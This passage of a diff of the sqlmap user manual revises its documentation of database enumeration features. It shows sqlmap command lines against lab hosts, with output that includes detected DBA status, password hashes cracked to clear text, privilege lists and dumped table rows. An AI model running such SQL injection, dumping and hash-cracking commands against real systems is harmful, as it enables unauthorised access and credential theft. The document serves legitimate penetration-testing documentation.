    -Example on an Oracle XE 10.2.0.1 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -b -v 0 - -banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' - - -

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" -b -v 0 - -banner: ---- -Microsoft SQL Server 2000 - 8.00.194 (Intel X86) - Aug 6 2000 00:57:48 - Copyright (c) 1988-2000 Microsoft Corporation - Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ---- - - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" -v 0 -b - -banner: ---- -Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) - Oct 14 2005 00:33:37 - Copyright (c) 1988-2005 Microsoft Corporation - Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ---- - +an environment variable which returns the database management system +version and eventually details on its patch level, the underlying +system. Usually the function is version() and the environment +variable is @@version, but this vary depending on the target +DBMS. Session user @@ -2494,17 +1821,9 @@ Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Switch: --current-user

    -It is possible to retrieve the database management system's user which is -effectively performing the query on the database from the web application. - -

    -Example on a MySQL 5.0.67 target: - - -python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0 - -current user: 'testuser@localhost' - +On the majority of modern DBMSes is possible to retrieve the database +management system's user which is effectively performing the query against +the back-end DBMS from the web application. Current database @@ -2513,579 +1832,191 @@ current user: 'testuser@localhost' Switch: --current-db

    -It is possible to retrieve the database management system's database the -web application is connected to. - -

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --current-db -v 0 - -current database: 'master' - +It is possible to retrieve the database management system's database name +that the web application is connected to. -Detect if the session user is a database administrator (DBA) +Detect whether or not the session user is a database administrator

    Switch: --is-dba

    -It is possible to detect if the current database management system session user is -a database administrator. - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2 - -[...] -back-end DBMS: PostgreSQL - -[hh:mm:49] [INFO] testing if current user is DBA -[hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE -usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END) -[hh:mm:49] [INFO] retrieved: 1 -[hh:mm:50] [DEBUG] performed 13 queries in 0 seconds -current user is DBA: 'True' - - -

    -Example on an Oracle XE 10.2.0.1 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2 - -[...] -back-end DBMS: Oracle - -[hh:mm:57] [INFO] testing if current user is DBA -[hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE -GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65)) -THEN 1 ELSE 0 END) FROM DUAL -[hh:mm:58] [INFO] retrieved: 1 -[hh:mm:58] [DEBUG] performed 13 queries in 0 seconds -current user is DBA: 'True' - +It is possible to detect if the current database management system session +user is a database administrator, also known as DBA. +sqlmap will return True if it is, viceversa False. -Users +List database management system users

    Switch: --users

    -It is possible to enumerate the list of database management system users. - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0 - -database management system users [3]: -[*] postgres -[*] testuser -[*] testuser2 - +When the session user has read access to the system table containing +information about the DBMS users, it is possible to enumerate the list of +users. -Users password hashes +List and crack database management system users password hashes

    Switches: --passwords and -U

    -It is possible to enumerate the password hashes for each database -management system user. +When the session user has read access to the system table containing +information about the DBMS users' passwords, it is possible to enumerate +the password hashes for each database management system user. +sqlmap will first enumerate the users, then the different password hashes +for each of them.

    -Example on a MySQL 5.0.67 target: +Example against a PostgreSQL target: -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0 - -[*] debian-sys-maint [1]: - password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892 -[*] root [1]: - password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B -[*] testuser [1]: - password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29 - - -

    -You can also provide the -U option to specify the user who you -want to enumerate the password hashes. - -

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --passwords \ - -U sa -v 0 - -database management system users password hashes: -[*] sa [1]: - password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f -ba9930b62ee5d506955 - header: 0x0100 - salt: 0a16d704 - mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3 - uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955 - - -

    -As you can see, when you enumerate password hashes on Microsoft SQL Server -sqlmap split the hash, useful if you want to crack it. - -

    -If you provide CU as username it will consider it as an alias for -current user and will retrieve the password hashes for this user. - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords \ - -U CU -v 1 +$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 [...] back-end DBMS: PostgreSQL - -[hh:mm:48] [INFO] fetching current user -[hh:mm:48] [INFO] retrieved: postgres -[hh:mm:49] [INFO] fetching database users password hashes for current user -[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres' -[hh:mm:49] [INFO] retrieved: 1 -[hh:mm:49] [INFO] fetching password hashes for user 'postgres' -[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4 +[hh:mm:38] [INFO] fetching database users password hashes +do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y +[hh:mm:42] [INFO] using hash method: 'postgres_passwd' +what's the dictionary's location? [/tmp/sqlmap/txt/wordlist.txt] +[hh:mm:46] [INFO] loading dictionary from: '/tmp/sqlmap/txt/wordlist.txt' +do you want to use common password suffixes? (slow!) [y/N] n +[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) +[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' +[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' database management system users password hashes: [*] postgres [1]: - password hash: md5d7d880f96034b72d0bba108afe96c1e7 + password hash: md5d7d880f96044b72d0bba108ace96d1e4 + clear-text password: testpass +[*] testuser [1]: + password hash: md599e5ea7a6f7c3269995cba3927fd0093 + clear-text password: testpass +

    +Not only sqlmap enumerated the DBMS users and their passwords, but it also +recognized the hash format to be PostgreSQL, asked the user whether or not +to test the hashes against a dictionary file and identified the clear-text +password for the postgres user, which is usually a DBA along the +other user, testuser, password. -Users privileges +

    +This feature has been implemented for all DBMS where it is possible to +enumerate users' password hashes, including Oracle and Microsoft SQL +Server pre and post 2005. + +

    +You can also provide the -U option to specify the specific user +who you want to enumerate and eventually crack the password hash(es). +If you provide CU as username it will consider it as an alias for +current user and will retrieve the password hash(es) for this user. + + +List database management system users privileges

    Switches: --privileges and -U

    -It is possible to enumerate the privileges for each database management -system user. - -

    -Example on an Oracle XE 10.2.0.1 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0 - -[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS' -[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP' -database management system users privileges: -[*] CTXSYS [2]: - privilege: CTXAPP - privilege: RESOURCE -[*] DBSNMP [1]: - privilege: OEM_MONITOR -[*] FLOWS_020100 (administrator) [4]: - privilege: CONNECT - privilege: DBA - privilege: RESOURCE - privilege: SELECT_CATALOG_ROLE -[*] FLOWS_FILES [2]: - privilege: CONNECT - privilege: RESOURCE -[*] HR (administrator) [3]: - privilege: CONNECT - privilege: DBA - privilege: RESOURCE -[*] MDSYS [2]: - privilege: CONNECT - privilege: RESOURCE -[*] OUTLN [1]: - privilege: RESOURCE -[*] SYS (administrator) [22]: - privilege: AQ_ADMINISTRATOR_ROLE - privilege: AQ_USER_ROLE - privilege: AUTHENTICATEDUSER - privilege: CONNECT - privilege: CTXAPP - privilege: DBA - privilege: DELETE_CATALOG_ROLE - privilege: EXECUTE_CATALOG_ROLE - privilege: EXP_FULL_DATABASE - privilege: GATHER_SYSTEM_STATISTICS - privilege: HS_ADMIN_ROLE - privilege: IMP_FULL_DATABASE - privilege: LOGSTDBY_ADMINISTRATOR - privilege: OEM_ADVISOR - privilege: OEM_MONITOR - privilege: PLUSTRACE - privilege: RECOVERY_CATALOG_OWNER - privilege: RESOURCE - privilege: SCHEDULER_ADMIN - privilege: SELECT_CATALOG_ROLE - privilege: XDBADMIN - privilege: XDBWEBSERVICES -[*] SYSTEM (administrator) [2]: - privilege: AQ_ADMINISTRATOR_ROLE - privilege: DBA -[*] TSMSYS [1]: - privilege: RESOURCE -[*] XDB [2]: - privilege: CTXAPP - privilege: RESOURCE - +When the session user has read access to the system table containing +information about the DBMS users, it is possible to enumerate the +privileges for each database management system user. +By the privileges, sqlmap will also show you which are database +administrators.

    You can also provide the -U option to specify the user who you want to enumerate the privileges.

    -Example on a PostgreSQL 8.3.5 target: +If you provide CU as username it will consider it as an alias for +current user and will enumerate the privileges for this user. - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --privileges \ - -U postgres -v 0 -database management system users privileges: -[*] postgres (administrator) [3]: - privilege: catupd - privilege: createdb - privilege: super - +List database management system users roles

    -As you can see, depending on the user privileges, sqlmap identifies if the -user is a database management system administrator and shows this information -next to the username. +Switches: --roles and -U + +

    +When the session user has read access to the system table containing +information about the DBMS users, it is possible to enumerate the +roles for each database management system user. + +

    +You can also provide the -U option to specify the user who you +want to enumerate the privileges.

    If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user.

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords \ - -U CU -v 1 - -[...] -back-end DBMS: PostgreSQL - -[hh:mm:25] [INFO] fetching current user -[hh:mm:25] [INFO] retrieved: postgres -[hh:mm:25] [INFO] fetching database users privileges for current user -[hh:mm:25] [INFO] fetching number of privileges for user 'postgres' -[hh:mm:25] [INFO] retrieved: 1 -[hh:mm:25] [INFO] fetching privileges for user 'postgres' -[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it -into distinct queries to be able to retrieve the output even if we are going blind -[hh:mm:25] [INFO] retrieved: 1 -[hh:mm:25] [INFO] retrieved: 1 -[hh:mm:25] [INFO] retrieved: 1 -database management system users privileges: -[*] postgres (administrator) [3]: - privilege: catupd - privilege: createdb - privilege: super - - -

    -Note that this feature is not available if the back-end database -management system is Microsoft SQL Server. +This feature is only available when the DBMS is Oracle. -Available databases +List database management system's databases

    Switch: --dbs

    -It is possible to enumerate the list of databases. +When the session user has read access to the system table containing +information about available databases, it is possible to enumerate the +list of databases.

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: +Note that this feature is not available if the database management system +is Oracle. - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0 -available databases [6]: -[*] master -[*] model -[*] msdb -[*] Northwind -[*] pubs -[*] tempdb - - -

    -Note that this feature is not available if the back-end database -management system is Oracle. - -Databases tables +Enumerate database's tables

    Switches: --tables and -D

    -It is possible to enumerate the list of tables for all database -management system's databases. +When the session user has read access to the system table containing +information about databases' tables, it is possible to enumerate +the list of tables for a specific database management system's databases.

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0 - -Database: testdb -[1 table] -+---------------------------------------+ -| users | -+---------------------------------------+ - -Database: information_schema -[17 tables] -+---------------------------------------+ -| CHARACTER_SETS | -| COLLATION_CHARACTER_SET_APPLICABILITY | -| COLLATIONS | -| COLUMN_PRIVILEGES | -| COLUMNS | -| KEY_COLUMN_USAGE | -| PROFILING | -| ROUTINES | -| SCHEMA_PRIVILEGES | -| SCHEMATA | -| STATISTICS | -| TABLE_CONSTRAINTS | -| TABLE_PRIVILEGES | -| TABLES | -| TRIGGERS | -| USER_PRIVILEGES | -| VIEWS | -+---------------------------------------+ - -Database: mysql -[17 tables] -+---------------------------------------+ -| columns_priv | -| db | -| func | -| help_category | -| help_keyword | -| help_relation | -| help_topic | -| host | -| proc | -| procs_priv | -| tables_priv | -| time_zone | -| time_zone_leap_second | -| time_zone_name | -| time_zone_transition | -| time_zone_transition_type | -| user | -+---------------------------------------+ - - -

    -You can also provide the -D option to specify the database -that you want to enumerate the tables. - -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tables \ - -D testdb -v 0 - -Database: testdb -[1 table] -+---------------------------------------+ -| users | -+---------------------------------------+ - - -

    -Example on an Oracle XE 10.2.0.1 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --tables \ - -D users -v 0 - -Database: USERS -[8 tables] -+-------------------+ -| DEPARTMENTS | -| EMPLOYEES | -| HTMLDB_PLAN_TABLE | -| JOB_HISTORY | -| JOBS | -| LOCATIONS | -| REGIONS | -| USERS | -+-------------------+ - +If you do not provide a specific database with switch -D, sqlmap +will enumerate the tables for all DBMS databases.

    Note that on Oracle you have to provide the TABLESPACE_NAME -instead of the database name. In provided example users was -used to retrieve all tables owned by an Oracle database management -system user. +instead of the database name. -Database table columns +Enumerate database table columns

    Switches: --columns, -C, -T and -D

    -It is possible to enumerate the list of columns for a specific database -table. -This functionality depends on the option -T to specify the table name -and optionally on -D to specify the database name. - -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --columns \ - -T users -D testdb -v 1 - -[...] -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:20] [INFO] fetching columns for table 'users' on database 'testdb' -[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb' -[hh:mm:20] [INFO] retrieved: 3 -[hh:mm:20] [INFO] retrieved: id -[hh:mm:20] [INFO] retrieved: int(11) -[hh:mm:21] [INFO] retrieved: name -[hh:mm:21] [INFO] retrieved: varchar(500) -[hh:mm:21] [INFO] retrieved: surname -[hh:mm:21] [INFO] retrieved: varchar(1000) -Database: testdb -Table: users -[3 columns] -+---------+---------------+ -| Column | Type | -+---------+---------------+ -| id | int(11) | -| name | varchar(500) | -| surname | varchar(1000) | -+---------+---------------+ - - -

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --columns \ - -T users -D master -v 0 - -Database: master -Table: users -[3 columns] -+---------+---------+ -| Column | Type | -+---------+---------+ -| id | int | -| name | varchar | -| surname | varchar | -+---------+---------+ - - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --columns \ - -T users -D public -v 0 - -Database: public -Table: users -[3 columns] -+---------+--------+ -| Column | Type | -+---------+--------+ -| id | int4 | -| name | bpchar | -| surname | bpchar | -+---------+--------+ - - -

    -Note that on PostgreSQL you have to provide public or the -name of a system database. That's because it is not possible to enumerate -other databases tables, only the tables under the schema that the web -application's user is connected to, which is always public. - -

    -If the database name is not specified, the current database name is used. - -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --columns \ - -T users -v 1 - -[...] -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:45] [WARNING] missing database parameter, sqlmap is going to use the current -database to enumerate table 'users' columns -[hh:mm:45] [INFO] fetching current database -[hh:mm:45] [INFO] retrieved: testdb -[hh:mm:45] [INFO] fetching columns for table 'users' on database 'testdb' -[hh:mm:45] [INFO] fetching number of columns for table 'users' on database 'testdb' -[hh:mm:45] [INFO] retrieved: 3 -[hh:mm:45] [INFO] retrieved: id -[hh:mm:45] [INFO] retrieved: int(11) -[hh:mm:46] [INFO] retrieved: name -[hh:mm:46] [INFO] retrieved: varchar(500) -[hh:mm:46] [INFO] retrieved: surname -[hh:mm:46] [INFO] retrieved: varchar(1000) -Database: testdb -Table: users -[3 columns] -+---------+---------------+ -| Column | Type | -+---------+---------------+ -| id | int(11) | -| name | varchar(500) | -| surname | varchar(1000) | -+---------+---------------+ - +When the session user has read access to the system table containing +information about database's tables, it is possible to enumerate the list +of columns for a specific database table. +sqlmap also enumerates the data-type for each column.

    +This feature depends on the option -T to specify the table name +and optionally on -D to specify the database name. When the +database name is not specified, the current database name is used. You can also provide the -C option to specify the table columns name like the one you provided to be enumerated.

    -Example on a MySQL 5.0.67 target: +Example against a MySQL target: -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --columns \ - -T users -C name -v 1 - +$ python sqlmap.py -u "http://debiandev/sqlmap/mysql/get_int.php?id=1" --columns -D testdb \ + -T users -C name [...] -[hh:mm:20] [WARNING] missing database parameter, sqlmap is going to use the current -database to enumerate table 'users' columns -[hh:mm:20] [INFO] fetching current database -[hh:mm:20] [INFO] retrieved: testdb -[hh:mm:20] [INFO] fetching columns like 'name' for table 'users' on database 'testdb' -[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb' -[hh:mm:20] [INFO] retrieved: 2 -[hh:mm:20] [INFO] retrieved: name -[hh:mm:20] [INFO] retrieved: varchar(500) -[hh:mm:21] [INFO] retrieved: surname -[hh:mm:21] [INFO] retrieved: varchar(1000) Database: testdb Table: users [2 columns] @@ -3097,6 +2028,13 @@ Table: users +---------+---------------+ +

    +Note that on PostgreSQL you have to provide public or the +name of a system database. That's because it is not possible to enumerate +other databases tables, only the tables under the schema that the web +application's user is connected to, which is always aliased by +public. + Dump database table entries @@ -3106,57 +2044,28 @@ Switches: --dump, -C, -T, -D, and --last

    -It is possible to dump table entries. -This functionality depends on the option -T to specify the table -name or on the option -C to specify the column name and, -optionally on -D to specify the database name. +When the session user has read access to a specific database's table it is +possible to dump the table entries.

    -If the table name is specified, but the database name is not, the current +This functionality depends on switch -T to specify the table +name and optionally on switch -D to specify the database name. +If the table name is provided, but the database name is not, the current database name is used.

    -Example on a MySQL 5.0.67 target: +Example against a Firebird target: -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --dump \ - -T users -v 1 - +$ python sqlmap.py -u "http://debiandev/sqlmap/firebird/get_int.php?id=1" --dump -T users [...] -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:41] [WARNING] missing database parameter, sqlmap is going to use the current -database to dump table 'users' entries -[hh:mm:41] [INFO] fetching current database -[hh:mm:41] [INFO] retrieved: testdb -[hh:mm:41] [INFO] fetching columns for table 'users' on database 'testdb' -[hh:mm:41] [INFO] fetching number of columns for table 'users' on database 'testdb' -[hh:mm:41] [INFO] retrieved: 3 -[hh:mm:41] [INFO] retrieved: id -[hh:mm:41] [INFO] retrieved: name -[hh:mm:41] [INFO] retrieved: surname -[hh:mm:41] [INFO] fetching entries for table 'users' on database 'testdb' -[hh:mm:41] [INFO] fetching number of entries for table 'users' on database 'testdb' -[hh:mm:41] [INFO] retrieved: 4 -[hh:mm:41] [INFO] retrieved: 1 -[hh:mm:42] [INFO] retrieved: luther -[hh:mm:42] [INFO] retrieved: blissett -[hh:mm:42] [INFO] retrieved: 2 -[hh:mm:42] [INFO] retrieved: fluffy -[hh:mm:42] [INFO] retrieved: bunny -[hh:mm:42] [INFO] retrieved: 3 -[hh:mm:42] [INFO] retrieved: wu -[hh:mm:42] [INFO] retrieved: ming -[hh:mm:43] [INFO] retrieved: 4 -[hh:mm:43] [INFO] retrieved: -[hh:mm:43] [INFO] retrieved: nameisnull -Database: testdb -Table: users +Database: Firebird_masterdb +Table: USERS [4 entries] +----+--------+------------+ -| id | name | surname | +| ID | NAME | SURNAME | +----+--------+------------+ -| 1 | luther | blissett | +| 1 | luther | blisset | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | @@ -3164,181 +2073,40 @@ Table: users

    -You can also provide the -C option to specify the table column -that you want to enumerate the entries. +You can also provide a comma-separated list of the specific columns to +dump with the -C switch.

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --dump \ - -T users -D master -C surname -v 0 - -Database: master -Table: users -[5 entries] -+-------------------+ -| surname | -+-------------------+ -| blisset | -| bunny | -| ming | -| nameisnull | -| user agent header | -+-------------------+ - +sqlmap also generates for each table dumped the entries in a CSV format +textual file. +You can see the absolute path where sqlmap creates the file by providing a +verbosity level greater than or equal to 1.

    -If only the column name is specified, sqlmap will enumerate and ask the -user to dump all databases' tables containing user provided column(s). -This feature can be useful to identify, for instance, tables containing -custom application credentials. +If you want to dump only a range of entries, then you can provide switches +--start and/or --stop to respectively +start to dump from a certain entry and stop the dump at a certain entry. +For instance, if you want to dump only the first entry, provide +--stop 1 in your command line. Vice versa if, for +instance, you want to dump only the second and third entry, provide +--start 1 --stop 3.

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \ - -C "urna" - -[...] -back-end DBMS: MySQL >= 5.0.0 - -do you want sqlmap to consider provided column(s): -[1] as LIKE column names (default) -[2] as exact column names -> 1 -[hh:mm:08] [INFO] fetching databases with tables containing columns like 'urna' -[hh:mm:08] [INFO] fetching number of databases with tables containing columns like -'urna' -[hh:mm:08] [INFO] retrieved: 1 -[hh:mm:08] [INFO] retrieved: testdb -[hh:mm:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb' -[hh:mm:10] [INFO] fetching number of tables containing columns like 'urna' in -database 'testdb' -[hh:mm:10] [INFO] retrieved: 1 -[hh:mm:10] [INFO] retrieved: users -[hh:mm:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb' -[hh:mm:10] [INFO] fetching number of columns for table 'users' on database 'testdb' -[hh:mm:10] [INFO] retrieved: 1 -[hh:mm:10] [INFO] retrieved: surname -Columns like 'urna' were found in the following databases: -Database: testdb -Table: users -[1 column] -+---------+ -| Column | -+---------+ -| surname | -+---------+ - -do you want to dump entries? [Y/n] y -which database(s)? -[a]ll (default) -[testdb] -[q]uit -> -which table(s) of database 'testdb'? -[a]ll (default) -[users] -[s]kip -[q]uit -> -[hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on -database 'testdb' -[hh:mm:23] [INFO] fetching number of columns 'surname' entries for table -'users' on database 'testdb' -[hh:mm:23] [INFO] retrieved: 4 -[hh:mm:23] [INFO] retrieved: blissett -[hh:mm:23] [INFO] retrieved: bunny -[hh:mm:23] [INFO] retrieved: ming -[hh:mm:23] [INFO] retrieved: nameisnull -Database: testdb -Table: users -[4 entries] -+------------+ -| surname | -+------------+ -| blissett | -| bunny | -| ming | -| nameisnull | -+------------+ - +It is also possible to specify which single character or range of characters +to dump with switches --first and --last. +For instance, if you want to dump columns' entries from the third to the +fifth character, provide --first 3 --last +5. +This feature only applies to the blind SQL injection techniques because for +error-based and UNION query SQL injection techniques the number of requests +is exactly the same, regardless of the length of the column's entry output +to dump.

    -sqlmap also stores for each table the dumped entries in a CSV format file. -You can see the absolute path where sqlmap stores the dumped tables entries -by providing a verbosity level greater than or equal to 1. - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --dump \ - -T users -D public -v 1 - -[...] -Database: public -Table: users -[5 entries] -+----+----------------------------------------------+-------------------+ -| id | name | surname | -+----+----------------------------------------------+-------------------+ -| 1 | luther | blissett | -| 2 | fluffy | bunny | -| 3 | wu | ming | -| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header | -| 5 | | nameisnull | -+----+----------------------------------------------+-------------------+ - -[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/ -192.168.136.131/dump/public/users.csv' -[...] - -$ cat ./output/192.168.136.131/dump/public/users.csv -id,name,surname -"1","luther","blissett" -"2","fluffy","bunny" -"3","wu","ming" -"4","sqlmap/0.8 (http://sqlmap.sourceforge.net)","user agent header" -"5","","nameisnull" - - -

    -You can also provide the --start and/or the --stop -options to limit the dump to a range of entries, while those entries can be further -limited to a range of character positions provided with --first -and/or the --last options: - - ---start specifies the first entry to enumerate. ---stop specifies the last entry to enumerate. - - -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --dump \ - -T users -D testdb --start 2 --stop 4 -v 0 - -Database: testdb -Table: users -[3 entries] -+----+--------------------------------------------+-------------------+ -| id | name | surname | -+----+--------------------------------------------+-------------------+ -| 2 | fluffy | bunny | -| 3 | wu | ming | -| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header | -+----+--------------------------------------------+-------------------+ - - -

    -As you can see, sqlmap is very flexible. You can leave it to automatically -enumerate the whole database table up to a range of characters of a single -column of a specific table entry. +As you know by down, sqlmap is flexible. You can leave it to +automatically enumerate the whole database table or you can be very +precise in which characters to dump, from which columns and which range of +entries. Dump all databases tables entries @@ -3347,120 +2115,13 @@ column of a specific table entry. Switches: --dump-all and --exclude-sysdbs

    -It is possible to dump all databases tables entries at once. - -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0 - -Database: testdb -Table: users -[5 entries] -+----+--------------------------------------------+-------------------+ -| id | name | surname | -+----+--------------------------------------------+-------------------+ -| 1 | luther | blissett | -| 2 | fluffy | bunny | -| 3 | wu | ming | -| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header | -| 5 | NULL | nameisnull | -+----+--------------------------------------------+-------------------+ - -Database: information_schema -Table: CHARACTER_SETS -[36 entries] -+--------------------+----------------------+-----------------------------+--------+ -| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN | -+--------------------+----------------------+-----------------------------+--------+ -| tis620 | tis620_thai_ci | TIS620 Thai | 1 | -| macroman | macroman_general_ci | Mac West European | 1 | -| dec8 | dec8_swedish_ci | DEC West European | 1 | -| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 | -| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 | -| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 | -| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 | -| hp8 | hp8_english_ci | HP West European | 1 | -| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 | -| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 | -| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 | -| ascii | ascii_general_ci | US ASCII | 1 | -| cp866 | cp866_general_ci | DOS Russian | 1 | -| cp1256 | cp1256_general_ci | Windows Arabic | 1 | -| macce | macce_general_ci | Mac Central European | 1 | -| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 | -| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 | -| cp1257 | cp1257_general_ci | Windows Baltic | 1 | -| cp852 | cp852_general_ci | DOS Central European | 1 | -| euckr | euckr_korean_ci | EUC-KR Korean | 2 | -| cp1250 | cp1250_general_ci | Windows Central European | 1 | -| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 | -| binary | binary | Binary pseudo charset | 1 | -| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 | -| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 | -| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 | -| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 | -| greek | greek_general_ci | ISO 8859-7 Greek | 1 | -| cp850 | cp850_general_ci | DOS West European | 1 | -| utf8 | utf8_general_ci | UTF-8 Unicode | 3 | -| latin1 | latin1_swedish_ci | cp1252 West European | 1 | -| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 | -| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 | -| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 | -| swe7 | swe7_swedish_ci | 7bit Swedish | 1 | -| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 | -+--------------------+----------------------+-----------------------------+--------+ - -[...] - +It is possible to dump all databases tables entries at once that the +session user has read access on.

    -You can also provide the --exclude-sysdbs option to exclude all -system databases. In that case sqlmap will only dump entries of users' databases -tables. - -

